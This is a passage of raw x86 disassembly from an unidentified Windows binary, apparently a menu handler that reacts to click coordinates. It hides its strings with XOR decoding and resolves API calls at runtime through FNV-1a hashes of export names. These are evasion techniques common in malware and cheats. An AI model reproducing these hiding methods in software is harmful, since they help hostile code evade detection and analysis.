mov byte [esp + 0xbd], 0
xor ch, al
mov byte [esp + 0xb6], cl
mov ah, 0x18
mov byte [esp + 0xba], ch
mov dh, 0x2f
mov byte [esp + 0xbd], 0
mov bl, 0x14
lea ecx, [esp + 0x644]
mov bh, 0x25
xor dl, al
xor bl, al
mov byte [esp + 0xb7], dl
xor ah, al
mov byte [esp + 0xb8], bl
xor dh, al
mov byte [esp + 0xb9], ah
xor bh, al
mov byte [esp + 0xbb], dh
mov byte [esp + 0xbc], bh
call fcn.004b7490
lea ecx, [esp + 0xb5]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4b2894
sub ecx, edx
lea eax, [esp + 0xb5]
push ecx
push eax
lea ecx, [esp + 0x64c]
call fcn.004b7120
mov dh, 0x5e
mov byte [esp + 0x1ef], 0
mov cl, 0x66
mov byte [esp + 0x1e8], dh
mov dl, 0x2e
mov byte [esp + 0x1ef], 0
xor cl, dh
mov al, 0x13
mov bl, 0x68
mov byte [esp + 0x1ea], cl
mov ah, 0x32
mov ch, 0x2f
xor al, dh
xor dl, dh
xor bl, dh
mov byte [esp + 0x1eb], dl
xor ah, dh
mov byte [esp + 0x1e9], al
xor ch, dh
mov byte [esp + 0x1ec], bl
mov byte [esp + 0x1ee], ch
lea ecx, [esp + 0x1e9]
mov byte [esp + 0x1ed], ah
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4b2917
sub ecx, edx
lea eax, [esp + 0x1e9]
push ecx
push eax
lea ecx, [esp + 0x64c]
call fcn.004b6830
mov bh, 0x49
mov byte [esp + 0x288], 0
mov dl, 0x18
mov byte [esp + 0x280], bh
mov al, 7
mov byte [esp + 0x288], 0
mov ah, dl
mov dh, al
xor al, bh
xor ah, bh
mov cl, 0x25
mov byte [esp + 0x281], al
mov ch, 0x24
mov byte [esp + 0x285], ah
xor cl, bh
lea eax, [esp + 0x281]
xor ch, bh
mov byte [esp + 0x282], cl
mov bl, 0xc
mov byte [esp + 0x286], ch
xor dl, bh
lea ecx, [esp + 0x644]
xor dh, bh
mov byte [esp + 0x283], dl
xor bl, bh
mov byte [esp + 0x287], dh
push eax
mov byte [esp + 0x288], bl
call fcn.004b74b0
test al, al
je 0x4b2a5e
mov byte [esp + 0x108], 0x1b
mov al, 0x4a
xor al, byte [esp + 0x108]
mov cl, 0x7c
mov ch, 0x75
mov byte [esp + 0x109], al
mov al, byte [esp + 0x108]
mov dl, 0x5c
xor cl, al
mov byte [esp + 0x111], 0
xor ch, al
mov byte [esp + 0x10a], cl
mov dh, 0x2c
mov byte [esp + 0x10e], ch
mov bl, 0x59
mov byte [esp + 0x111], 0
mov ah, 0x5a
lea ecx, [esp + 0x109]
xor dl, al
xor dh, al
mov bh, 0x5f
mov byte [esp + 0x10b], dl
xor bl, al
mov byte [esp + 0x10f], dh
xor ah, al
mov byte [esp + 0x10c], bl
xor bh, al
mov byte [esp + 0x10d], ah
mov byte [esp + 0x110], bh
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4b2a40
sub ecx, edx
lea eax, [esp + 0x109]
push ecx
push eax
lea ecx, [esp + 0x64c]
call fcn.004b66a0
lea ecx, [esp + 0x644]
call fcn.004b5f90
jmp 0x4b50e6
cmp eax, 0x3eb
jne 0x4b50e6
lea eax, [ecx - 0x254]
cmp eax, 0xe6
ja 0x4b50e6
lea eax, [edx - 0x184]
cmp eax, 0x28
ja 0x4b50e6
mov byte [esp + 0xf0], 0x7e
mov al, 0xb
xor al, byte [esp + 0xf0]
mov cl, 0x48
xor cl, byte [esp + 0xf0]
mov ch, 0x3c
mov byte [esp + 0xf1], al
mov dl, 0x2a
mov byte [esp + 0xf2], cl
mov ah, 0xa
mov cl, byte [esp + 0xf0]
mov dh, 0xd
mov byte [esp + 0x13], 0x4b
xor ch, cl
mov al, byte [esp + 0x13]
mov bl, 0x13
xor al, cl
mov byte [esp + 0x12], 8
mov byte [esp + 0xf9], al
mov bh, 0x14
mov al, byte [esp + 0x12]
xor dl, cl
xor bl, cl
mov byte [esp + 0xf6], ch
xor ah, cl
mov byte [esp + 0xfb], 0
xor dh, cl
mov byte [esp + 0xf3], dl
xor bh, cl
mov byte [esp + 0xf4], bl
xor al, cl
mov byte [esp + 0xf5], ah
lea ecx, [esp + 0x6d4]
mov byte [esp + 0xf7], dh
mov byte [esp + 0xf8], bh
mov byte [esp + 0xfa], al
mov byte [esp + 0xfb], 0
call fcn.004b7490
lea ecx, [esp + 0xf1]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4b2b55
sub ecx, edx
lea eax, [esp + 0xf1]
push ecx
push eax
lea ecx, [esp + 0x6dc]
call fcn.004b7120
mov byte [esp + 0x3c], 0x15
mov al, 0x53
xor al, byte [esp + 0x3c]
mov cl, 0x23
mov byte [esp + 0x3d], al
mov dl, 0x5c
mov al, byte [esp + 0x3c]
mov ch, 0x63
mov dh, 0x44
mov byte [esp + 0x12], 0x6d
xor cl, al
mov byte [esp + 0x46], 0
xor dl, al
mov byte [esp + 0x3e], cl
xor ch, al
mov byte [esp + 0x3f], dl
xor dh, al
mov byte [esp + 0x42], ch
mov bl, 0x2c
mov byte [esp + 0x43], dh
mov ah, 0x73
mov byte [esp + 0x46], 0
mov bh, 0x40
lea ecx, [esp + 0x3d]
xor bl, al
lea edx, [ecx + 1]
xor ah, al
mov byte [esp + 0x40], bl
xor bh, al
mov byte [esp + 0x41], ah
mov al, byte [esp + 0x12]
xor al, byte [esp + 0x3c]
mov byte [esp + 0x44], bh
mov byte [esp + 0x45], al
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4b2be0
sub ecx, edx
lea eax, [esp + 0x3d]
push ecx
push eax
lea ecx, [esp + 0x6dc]
call fcn.004b6830
mov bh, 0x44
mov byte [esp + 0x244], 0
mov cl, 0x23
mov byte [esp + 0x23c], bh
mov bl, cl
mov ch, 0x35
mov dl, 0x31
xor cl, bh
xor ch, bh
mov byte [esp + 0x23e], cl
mov al, 0x3d
mov byte [esp + 0x242], ch
mov ah, 0x34
lea ecx, [esp + 0x23d]
xor dh, dh
xor dl, bh
xor al, bh
mov byte [esp + 0x23f], dl
xor bl, bh
mov byte [esp + 0x23d], al
xor ah, bh
mov byte [esp + 0x240], bl
xor dh, bh
mov byte [esp + 0x241], ah
mov byte [esp + 0x243], dh
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4b2c63
sub ecx, edx
lea eax, [esp + 0x23d]
push ecx
push eax
lea ecx, [esp + 0x6dc]
call fcn.004b6830
lea ecx, [esp + 0x6d4]
call fcn.004b5f90
jmp 0x4b50e6
mov dword [0x4d97d0], 0
cmp eax, 1
jne 0x4b2f59
lea eax, [ecx - 0x168]
cmp eax, 0x16
ja 0x4b50e6
lea eax, [edx - 0x14]
cmp eax, 0x14
ja 0x4b50e6
mov edi, dword [0x4d986c]
xor ebx, ebx
mov eax, dword [edi + 0x3c]
mov ebp, dword [eax + edi + 0x78]
mov esi, dword [ebp + edi + 0x20]
add esi, edi
mov ecx, dword [esi]
mov edx, 0x90315e4d
add ecx, edi
mov al, byte [ecx]
inc ecx
test al, al
je 0x4b2d02
movsx eax, al
lea ecx, [ecx + 1]
xor eax, edx
imul edx, eax, 0x1000193
mov al, byte [ecx - 1]
test al, al
jne 0x4b2ce5
cmp edx, 0x627c573d
je 0x4b2d08
inc ebx
add esi, 4
jmp 0x4b2cd5
mov eax, dword [ebp + edi + 0x24]
push dword [0x4d9874]
lea eax, [eax + ebx*2]
movzx ecx, word [eax + edi]
mov eax, dword [ebp + edi + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edi]
add eax, edi
call eax
mov bh, 5
mov byte [esp + 0x250], 0
mov cl, 0x73
mov byte [esp + 0x248], bh
mov bl, cl
mov byte [esp + 0x250], 0
mov ch, 0x60
xor cl, bh
xor ch, bh
mov byte [esp + 0x24a], cl
mov al, 0x77
mov byte [esp + 0x24e], ch
mov dl, 0x6a
lea ecx, [esp + 0x6bc]
mov ah, 0x42
mov dh, 0x7d
xor al, bh
xor dl, bh
xor bl, bh
mov byte [esp + 0x249], al
xor ah, bh
mov byte [esp + 0x24b], dl
xor dh, bh
mov byte [esp + 0x24c], bl
mov byte [esp + 0x24d], ah
mov byte [esp + 0x24f], dh
call fcn.004b7490
lea ecx, [esp + 0x249]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4b2da3
sub ecx, edx
lea eax, [esp + 0x249]
push ecx
push eax
lea ecx, [esp + 0x6c4]
call fcn.004b7120
mov dh, 0x5a
mov byte [esp + 0x1e7], 0
mov cl, 0x2a
mov byte [esp + 0x1e0], dh
mov dl, 0x6a
mov byte [esp + 0x1e7], 0
xor cl, dh
mov al, 0x15
mov bl, 0x10
mov byte [esp + 0x1e2], cl
mov ah, 0x3f
mov ch, 0x39
xor al, dh
xor dl, dh
xor bl, dh
mov byte [esp + 0x1e3], dl
xor ah, dh
mov byte [esp + 0x1e1], al
xor ch, dh
mov byte [esp + 0x1e4], bl
mov byte [esp + 0x1e6], ch
lea ecx, [esp + 0x1e1]
mov byte [esp + 0x1e5], ah
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4b2e26
sub ecx, edx
lea eax, [esp + 0x1e1]
push ecx
push eax
lea ecx, [esp + 0x6c4]
call fcn.004b6830
mov byte [esp + 0x78], 0x4e
mov al, 0x14
xor al, byte [esp + 0x78]
mov cl, 0x3f
mov byte [esp + 0x79], al
mov dl, 6
mov al, byte [esp + 0x78]
mov ch, 0x2b
mov dh, 0x37
mov byte [esp + 0x12], 0x78
xor cl, al
mov byte [esp + 0x82], 0
xor dl, al
mov byte [esp + 0x7a], cl
xor ch, al
mov byte [esp + 0x7b], dl
xor dh, al
mov byte [esp + 0x7e], ch
mov bl, 0x1e
mov byte [esp + 0x7f], dh
mov ah, 0x1b
mov byte [esp + 0x82], 0
mov bh, 0x27
lea ecx, [esp + 0x79]
xor bl, al
lea edx, [ecx + 1]
xor ah, al
mov byte [esp + 0x7c], bl
xor bh, al
mov byte [esp + 0x7d], ah
mov al, byte [esp + 0x12]
xor al, byte [esp + 0x78]
mov byte [esp + 0x80], bh
mov byte [esp + 0x81], al
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4b2ec0
sub ecx, edx
lea eax, [esp + 0x79]
push ecx
push eax
lea ecx, [esp + 0x6c4]
call fcn.004b6830
lea ecx, [esp + 0x6bc]
call fcn.004b5f90
xor ecx, ecx
call fcn.004c5230
mov edi, dword [0x4d987c]
xor ebx, ebx
mov eax, dword [edi + 0x3c]
mov ebp, dword [eax + edi + 0x78]
mov esi, dword [ebp + edi + 0x20]
add esi, edi
mov ecx, dword [esi]
mov edx, 0x8de06f38
add ecx, edi
mov al, byte [ecx]
inc ecx
test al, al
je 0x4b2f30
movsx eax, al
lea ecx, [ecx + 1]
xor eax, edx
imul edx, eax, 0x1000193
mov al, byte [ecx - 1]
test al, al
jne 0x4b2f13
cmp edx, 0x2ebe27e5
je 0x4b2f36
inc ebx
add esi, 4
jmp 0x4b2f03
mov eax, dword [ebp + edi + 0x24]
push 1
lea eax, [eax + ebx*2]
movzx ecx, word [eax + edi]
mov eax, dword [ebp + edi + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edi]
add eax, edi
call eax
add esp, 4
jmp 0x4b50e6
cmp eax, 2
jne 0x4b32c5
lea eax, [ecx - 0x14a]
cmp eax, 0x12
ja 0x4b50e6
lea eax, [edx - 0x14]
cmp eax, 0x14
ja 0x4b50e6
mov edi, dword [0x4d9870]
xor ebx, ebx
mov eax, dword [edi + 0x3c]
mov ebp, dword [eax + edi + 0x78]
mov esi, dword [ebp + edi + 0x20]
add esi, edi
mov ecx, dword [esi]
mov edx, 0x7f06a617
add ecx, edi
mov al, byte [ecx]
inc ecx
test al, al
je 0x4b2fbf
movsx eax, al
lea ecx, [ecx + 1]
xor eax, edx
imul edx, eax, 0x1000193
mov al, byte [ecx - 1]
test al, al
jne 0x4b2fa2
cmp edx, 0x309cab46
je 0x4b2fc5
inc ebx
add esi, 4
jmp 0x4b2f92
mov eax, dword [ebp + edi + 0x24]
push 6
push dword [0x4d9864]
lea eax, [eax + ebx*2]
movzx ecx, word [eax + edi]
mov eax, dword [ebp + edi + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edi]
add eax, edi
call eax
mov byte [esp + 0xcc], 0x3f
mov al, 0x79
xor al, byte [esp + 0xcc]
mov cl, 0x4c
mov byte [esp + 0xcd], al
mov ch, 6
mov al, byte [esp + 0xcc]
mov dl, 0x58
xor cl, al
mov byte [esp + 0xd5], 0
xor ch, al
mov byte [esp + 0xce], cl
mov ah, 0x75
mov byte [esp + 0xd2], ch
mov dh, 0x78
mov byte [esp + 0xd5], 0
mov bl, 0x56
lea ecx, [esp + 0x74c]
mov bh, 0x6d
xor dl, al
xor bl, al
mov byte [esp + 0xcf], dl
xor ah, al
mov byte [esp + 0xd0], bl
xor dh, al
mov byte [esp + 0xd1], ah
xor bh, al
mov byte [esp + 0xd3], dh
mov byte [esp + 0xd4], bh
call fcn.004b7490
lea ecx, [esp + 0xcd]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4b3078
sub ecx, edx
lea eax, [esp + 0xcd]
push ecx
push eax
lea ecx, [esp + 0x754]
call fcn.004b7120
mov dh, 0x5e
mov byte [esp + 0x20f], 0
mov cl, 8
mov byte [esp + 0x208], dh
mov ch, 0x13
mov byte [esp + 0x20f], 0
xor cl, dh
xor ch, dh
mov al, 0xa
mov byte [esp + 0x20a], cl
mov dl, 0x16
mov byte [esp + 0x20e], ch
mov ah, 0x14
lea ecx, [esp + 0x7ac]
mov bl, 0x1f
xor al, dh
xor dl, dh
mov byte [esp + 0x209], al
xor bl, dh
mov byte [esp + 0x20b], dl
xor ah, dh
mov byte [esp + 0x20c], bl
mov byte [esp + 0x20d], ah
call fcn.004b7490
lea ecx, [esp + 0x209]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4b3107
sub ecx, edx
lea eax, [esp + 0x209]
push ecx
push eax
lea ecx, [esp + 0x7b4]
call fcn.004b7120
mov byte [esp + 0x180], 0x75
mov al, 0x16
xor al, byte [esp + 0x180]
mov cl, 3
xor cl, byte [esp + 0x180]
mov ah, 0x12
mov byte [esp + 0x181], al
mov ch, 0x27
mov byte [esp + 0x182], cl
mov dl, 0x30
mov cl, byte [esp + 0x180]
mov dh, 0x14
mov byte [esp + 0x12], 0x25
xor ah, cl
mov al, byte [esp + 0x12]
xor ch, cl
xor al, cl
mov byte [esp + 0x13], 0x31
mov byte [esp + 0x189], al
mov bl, 2
mov al, byte [esp + 0x13]
mov bh, 0x3f
xor al, cl
mov byte [esp + 0x185], ah
mov byte [esp + 0x18a], al
xor dl, cl
lea eax, [esp + 0x297]
mov byte [esp + 0x186], ch
push eax
push 1
xor bl, cl
mov byte [esp + 0x193], 0
xor dh, cl
mov byte [esp + 0x18b], dl
xor bh, cl
mov byte [esp + 0x18c], bl
push 0
lea eax, [esp + 0x758]
mov byte [esp + 0x193], dh
push eax
lea ecx, [esp + 0x574]
mov byte [esp + 0x198], bh
mov byte [esp + 0x19b], 0
call fcn.004b6890
lea eax, [esp + 0x181]
push eax
lea ecx, [esp + 0x568]
call fcn.004b74b0
lea ecx, [esp + 0x564]
mov bl, al
call fcn.004b5f90
test bl, bl
je 0x4b329e
mov dh, 0x68
mov byte [esp + 0x207], 0
mov cl, 0x10
mov byte [esp + 0x200], dh
mov dl, 0x5b
mov byte [esp + 0x207], 0
xor cl, dh
mov al, 4
mov bl, 0x25
mov byte [esp + 0x202], cl
mov ah, 0x2a
mov ch, 0x51
xor al, dh
xor dl, dh
xor bl, dh
mov byte [esp + 0x203], dl
xor ah, dh
mov byte [esp + 0x201], al
xor ch, dh
mov byte [esp + 0x204], bl
mov byte [esp + 0x206], ch
lea ecx, [esp + 0x201]
mov byte [esp + 0x205], ah
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4b3280
sub ecx, edx
lea eax, [esp + 0x201]
push ecx
push eax
lea ecx, [esp + 0x7b4]
call fcn.004b6830
lea ecx, [esp + 0x7ac]
call fcn.004b5f90
lea ecx, [esp + 0x74c]
call fcn.004b5f90
mov dword [0x4d97c0], 0
jmp 0x4b50e6
cmp eax, 3
jne 0x4b332c
lea eax, [ecx - 0x28]
cmp eax, 0x140
ja 0x4b50e6
lea eax, [edx - 0x1c1]
cmp eax, 0x34
ja 0x4b50e6
cmp byte [0x4d97c4], 0
jne 0x4b50e6
push 0x4a9de0
lea ecx, [esp + 0x628]
call fcn.004b7740
lea ecx, [esp + 0x624]
call fcn.004a8760
cmp dword [esp + 0x628], 0
mov byte [0x4d97c4], 1
je 0x4b50e6
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
cmp eax, 4
jne 0x4b3362
lea eax, [ecx - 0x147]
cmp eax, 0x13
ja 0x4b50e6
lea eax, [edx - 0x15d]
cmp eax, 0xf
ja 0x4b50e6
cmp byte [0x4d97c6], 0
sete byte [0x4d97c6]
jmp 0x4b50e6
cmp eax, 0x138b
jne 0x4b33ae
lea eax, [ecx - 0x145]
cmp eax, 0x13
ja 0x4b50e6
lea eax, [edx - 0x11d]
cmp eax, 0xf
ja 0x4b50e6
push 0
push 0x4cb469
mov ecx, 0x4d9098
call fcn.004b66a0
push 0
push 0x4cb469
mov ecx, 0x4d90c8
call fcn.004b66a0
jmp 0x4b50e6
cmp eax, 5
jne 0x4b375e
lea eax, [ecx - 0x148]
cmp eax, 0x20
ja 0x4b50e6
lea eax, [edx - 0xe1]
cmp eax, 0x20
ja 0x4b50e6
cmp dword [0x4d97c8], 0
je 0x4b33f1
cmp byte [0x4d9019], 0
jne 0x4b33f1
mov dword [0x4d97c8], 0x12c
mov bh, 0x28
mov byte [esp + 0x25c], 0
mov cl, 0x5a
mov byte [0x4d9019], 1
mov ch, 0x67
mov byte [esp + 0x254], bh
xor cl, bh
mov byte [esp + 0x25c], 0
xor ch, bh
mov byte [esp + 0x256], cl
mov al, 0x19
mov byte [esp + 0x25a], ch
mov dl, 0x1f
lea ecx, [esp + 0x7dc]
mov ah, 0x11
mov dh, 0x62
mov bl, 0x63
xor al, bh
xor dl, bh
mov byte [esp + 0x255], al
xor bl, bh
mov byte [esp + 0x257], dl
xor ah, bh
mov byte [esp + 0x258], bl
xor dh, bh
mov byte [esp + 0x259], ah
mov byte [esp + 0x25b], dh
call fcn.004b7490
lea ecx, [esp + 0x255]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4b3474
sub ecx, edx
lea eax, [esp + 0x255]
push ecx
push eax
lea ecx, [esp + 0x7e4]
call fcn.004b7120
mov byte [esp + 0x84], 0x72
mov al, 0x23
xor al, byte [esp + 0x84]
mov cl, 0x30
mov byte [esp + 0x85], al
mov dl, 0x3d
mov al, byte [esp + 0x84]
mov ah, 0x40
xor cl, al
mov byte [esp + 0x12], 0x47
mov ch, 0x46
mov byte [esp + 0x86], cl
xor ch, al
mov byte [esp + 0x8e], 0
xor dh, dh
mov byte [esp + 0x8a], ch
xor dl, al
lea ecx, [esp + 0x6a4]
xor ah, al
mov byte [esp + 0x87], dl
xor dh, al
mov byte [esp + 0x89], ah
mov bl, 0x3c
mov byte [esp + 0x8b], dh
xor bl, al
mov bh, 0x3f
xor bh, al
mov byte [esp + 0x88], bl
mov al, byte [esp + 0x12]
xor al, byte [esp + 0x84]
mov byte [esp + 0x8c], bh
mov byte [esp + 0x8d], al
call fcn.004b7490
lea ecx, [esp + 0x85]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4b3533
sub ecx, edx
lea eax, [esp + 0x85]
push ecx
push eax
lea ecx, [esp + 0x6ac]
call fcn.004b7120
mov byte [esp + 0x114], 0x71
mov al, 0x46
xor al, byte [esp + 0x114]
mov cl, 0x3d
mov ch, 0x1e
mov byte [esp + 0x115], al
mov al, byte [esp + 0x114]
xor dh, dh
xor cl, al
mov byte [esp + 0x11d], 0
xor ch, al
mov byte [esp + 0x116], cl
mov dl, 0x44
mov byte [esp + 0x11a], ch
mov bl, 0x24
lea ecx, [esp + 0x115]
mov ah, 0x32
xor dl, al
xor dh, al
mov byte [esp + 0x117], dl
mov bh, 0x26
mov byte [esp + 0x11b], dh
xor bl, al
lea edx, [ecx + 1]
xor ah, al
mov byte [esp + 0x118], bl
xor bh, al
mov byte [esp + 0x119], ah
mov byte [esp + 0x11c], bh
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4b35d0
sub ecx, edx
lea eax, [esp + 0x115]
push ecx
push eax
lea ecx, [esp + 0x6ac]
call fcn.004b6830
mov byte [esp + 0x150], 0x45
mov al, 0x1d
xor al, byte [esp + 0x150]
mov dl, 3
mov byte [esp + 0x151], al
mov bl, dl
mov al, byte [esp + 0x150]
mov cl, 0x2c
xor cl, al
mov byte [esp + 0x12], 0x2d
xor dl, al
mov byte [esp + 0x152], cl
xor bl, al
mov byte [esp + 0x15a], 0
mov ah, 0x76
mov byte [esp + 0x153], dl
xor ah, al
mov byte [esp + 0x154], bl
mov ch, 0x15
mov byte [esp + 0x155], ah
xor ch, al
mov byte [esp + 0x15a], 0
mov dh, 0x13
mov byte [esp + 0x156], ch
xor dh, al
lea ecx, [esp + 0x6a4]
mov bh, 0x77
mov byte [esp + 0x157], dh
xor bh, al
mov al, byte [esp + 0x12]
xor al, byte [esp + 0x150]
mov byte [esp + 0x159], al
lea eax, [esp + 0x151]
push eax
mov byte [esp + 0x15c], bh
call fcn.004b74b0
test al, al
je 0x4b3741
mov byte [esp + 0x120], 3
mov al, 0x4f
xor al, byte [esp + 0x120]
mov cl, 0x4d
mov ch, 0x62
mov byte [esp + 0x121], al
mov al, byte [esp + 0x120]
mov dl, 0x65
xor cl, al
mov byte [esp + 0x129], 0
xor ch, al
mov byte [esp + 0x122], cl
mov dh, 0x3b
mov byte [esp + 0x126], ch
mov bl, 0x30
mov byte [esp + 0x129], 0
mov ah, 0x36
lea ecx, [esp + 0x121]
xor dl, al
xor dh, al
mov bh, 0x50
mov byte [esp + 0x123], dl
xor bl, al
mov byte [esp + 0x127], dh
xor ah, al
mov byte [esp + 0x124], bl
xor bh, al
mov byte [esp + 0x125], ah
mov byte [esp + 0x128], bh
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4b3723
sub ecx, edx
lea eax, [esp + 0x121]
push ecx
push eax
lea ecx, [esp + 0x7e4]
call fcn.004b6830
lea ecx, [esp + 0x6a4]
call fcn.004b5f90
lea ecx, [esp + 0x7dc]
call fcn.004b5f90
jmp 0x4b50e6
cmp eax, 6
jne 0x4b3b18
lea eax, [ecx - 0x120]
cmp eax, 0x20
ja 0x4b50e6
lea eax, [edx - 0xe1]
cmp eax, 0x20
ja 0x4b50e6
cmp dword [0x4d97c8], 0
je 0x4b37a1
cmp byte [0x4d9019], 1
jne 0x4b37a1
mov dword [0x4d97c8], 0x12c
mov byte [esp + 0xe4], 0x3c
mov al, 0x6f
xor al, byte [esp + 0xe4]
mov cl, 0x65
xor cl, byte [esp + 0xe4]
mov ch, 0x46
mov byte [esp + 0xe5], al
mov dl, 0x4e
mov byte [esp + 0xe6], cl
mov ah, 0x7f
mov cl, byte [esp + 0xe4]
mov dh, 0x78
mov byte [esp + 0x12], 0x55
xor ch, cl
mov al, byte [esp + 0x12]
mov bl, 0x6c
xor al, cl
mov byte [esp + 0x13], 0x70
mov byte [esp + 0xed], al
mov bh, 0xa
mov al, byte [esp + 0x13]
xor dl, cl
xor bl, cl
mov byte [esp + 0xea], ch
xor ah, cl
mov byte [esp + 0xef], 0
xor dh, cl
mov byte [0x4d9019], 0
xor bh, cl
mov byte [esp + 0xe7], dl
xor al, cl
mov byte [esp + 0xe8], bl
lea ecx, [esp + 0x764]
mov byte [esp + 0xe9], ah
mov byte [esp + 0xeb], dh
mov byte [esp + 0xec], bh
mov byte [esp + 0xee], al
mov byte [esp + 0xef], 0
call fcn.004b7490
lea ecx, [esp + 0xe5]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4b3863
sub ecx, edx
lea eax, [esp + 0xe5]
push ecx
push eax
lea ecx, [esp + 0x76c]
call fcn.004b7120
mov byte [esp + 0xfc], 0x39
mov al, 0xa
xor al, byte [esp + 0xfc]
mov cl, 0x5f
mov byte [esp + 0xfd], al
mov ch, 0x43
mov al, byte [esp + 0xfc]
mov dl, 0x7c
xor cl, al
mov byte [esp + 0x105], 0
xor ch, al
mov byte [esp + 0xfe], cl
mov ah, 0x40
mov byte [esp + 0x102], ch
mov dh, 0x6f
mov byte [esp + 0x105], 0
mov bl, 0x71
lea ecx, [esp + 0x68c]
mov bh, 0x49
xor dl, al
xor bl, al
mov byte [esp + 0xff], dl
xor ah, al
mov byte [esp + 0x100], bl
xor dh, al
mov byte [esp + 0x101], ah
xor bh, al
mov byte [esp + 0x103], dh
mov byte [esp + 0x104], bh
call fcn.004b7490
lea ecx, [esp + 0xfd]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4b3913
sub ecx, edx
lea eax, [esp + 0xfd]
push ecx
push eax
lea ecx, [esp + 0x694]
call fcn.004b7120
mov bh, 0x38
mov byte [esp + 0x268], 0
mov cl, 0x5c
mov byte [esp + 0x260], bh
mov ch, 0x5b
mov byte [esp + 0x268], 0
mov dl, 0x7f
xor cl, bh
xor ch, bh
mov byte [esp + 0x262], cl
mov al, 8
mov byte [esp + 0x266], ch
mov bl, 0x59
lea ecx, [esp + 0x261]
mov ah, 0x4e
mov dh, 0x6c
xor dl, bh
xor al, bh
xor bl, bh
mov byte [esp + 0x263], dl
xor ah, bh
mov byte [esp + 0x261], al
xor dh, bh
mov byte [esp + 0x264], bl
mov byte [esp + 0x267], dh
lea edx, [ecx + 1]
mov byte [esp + 0x265], ah
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4b39a1
sub ecx, edx
lea eax, [esp + 0x261]
push ecx
push eax
lea ecx, [esp + 0x694]
call fcn.004b6830
mov byte [esp + 0x168], 0x7e
mov al, 0x2d
xor al, byte [esp + 0x168]
mov cl, 0x2e
mov byte [esp + 0x169], al
mov dl, 0xb
mov al, byte [esp + 0x168]
mov ah, 0x19
xor cl, al
mov byte [esp + 0x12], 0x46
xor dl, al
mov byte [esp + 0x16a], cl
xor ah, al
mov byte [esp + 0x172], 0
mov ch, 8
mov byte [esp + 0x16d], ah
xor ch, al
mov byte [esp + 0x16b], dl
mov dh, 0x37
mov byte [esp + 0x16e], ch
xor dh, al
mov byte [esp + 0x172], 0
mov bl, 0x35
mov byte [esp + 0x16f], dh
xor bl, al
lea ecx, [esp + 0x68c]
mov bh, 0x4f
mov byte [esp + 0x16c], bl
xor bh, al
mov al, byte [esp + 0x12]
xor al, byte [esp + 0x168]
mov byte [esp + 0x171], al
lea eax, [esp + 0x169]
push eax
mov byte [esp + 0x174], bh
call fcn.004b74b0
test al, al
je 0x4b3afb
mov byte [esp + 0x48], 9
mov al, 0x40
xor al, byte [esp + 0x48]
mov cl, 0x30
mov byte [esp + 0x49], al
mov dl, 0x73
mov al, byte [esp + 0x48]
mov ch, 0x7a
mov dh, 0x58
mov byte [esp + 0x12], 0x6a
xor cl, al
mov byte [esp + 0x52], 0
xor dl, al
mov byte [esp + 0x4a], cl
xor ch, al
mov byte [esp + 0x4b], dl
xor dh, al
mov byte [esp + 0x4e], ch
mov bl, 0x4e
mov byte [esp + 0x4f], dh
mov ah, 0x48
mov byte [esp + 0x52], 0
mov bh, 0x42
lea ecx, [esp + 0x49]
xor bl, al
lea edx, [ecx + 1]
xor ah, al
mov byte [esp + 0x4c], bl
xor bh, al
mov byte [esp + 0x4d], ah
mov al, byte [esp + 0x12]
xor al, byte [esp + 0x48]
mov byte [esp + 0x50], bh
mov byte [esp + 0x51], al
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4b3ae0
sub ecx, edx
lea eax, [esp + 0x49]
push ecx
push eax
lea ecx, [esp + 0x76c]
call fcn.004b6830
lea ecx, [esp + 0x68c]
call fcn.004b5f90
lea ecx, [esp + 0x764]
call fcn.004b5f90
jmp 0x4b50e6
cmp eax, 0x3e9
jne 0x4b3c1d
lea eax, [ecx - 0x97]
cmp eax, 0x14
ja 0x4b50e6
lea eax, [edx - 0x22b]
cmp eax, 0x14
ja 0x4b50e6
mov edi, dword [0x4d986c]
xor ebx, ebx
mov eax, dword [edi + 0x3c]
mov ebp, dword [eax + edi + 0x78]
mov esi, dword [ebp + edi + 0x20]
add esi, edi
mov ecx, dword [esi]
mov edx, 0x4b8665fb
add ecx, edi
mov al, byte [ecx]
inc ecx
test al, al
je 0x4b3b83
movsx eax, al
lea ecx, [ecx + 1]
xor eax, edx
imul edx, eax, 0x1000193
mov al, byte [ecx - 1]
test al, al
jne 0x4b3b66
cmp edx, 0x11b5fce
je 0x4b3b89
inc ebx
add esi, 4
jmp 0x4b3b56
mov eax, dword [ebp + edi + 0x24]
movaps xmm0, xmmword [0x4d4e50]
lea eax, [eax + ebx*2]
movzx ecx, word [eax + edi]
mov eax, dword [ebp + edi + 0x1c]
lea eax, [eax + ecx*4]
mov edx, dword [eax + edi]
movups xmmword [esp + 0x488], xmm0
add edx, edi
mov dword [esp + 0x4c8], 0x524f5e
movaps xmm0, xmmword [0x4d5d00]
xor ecx, ecx
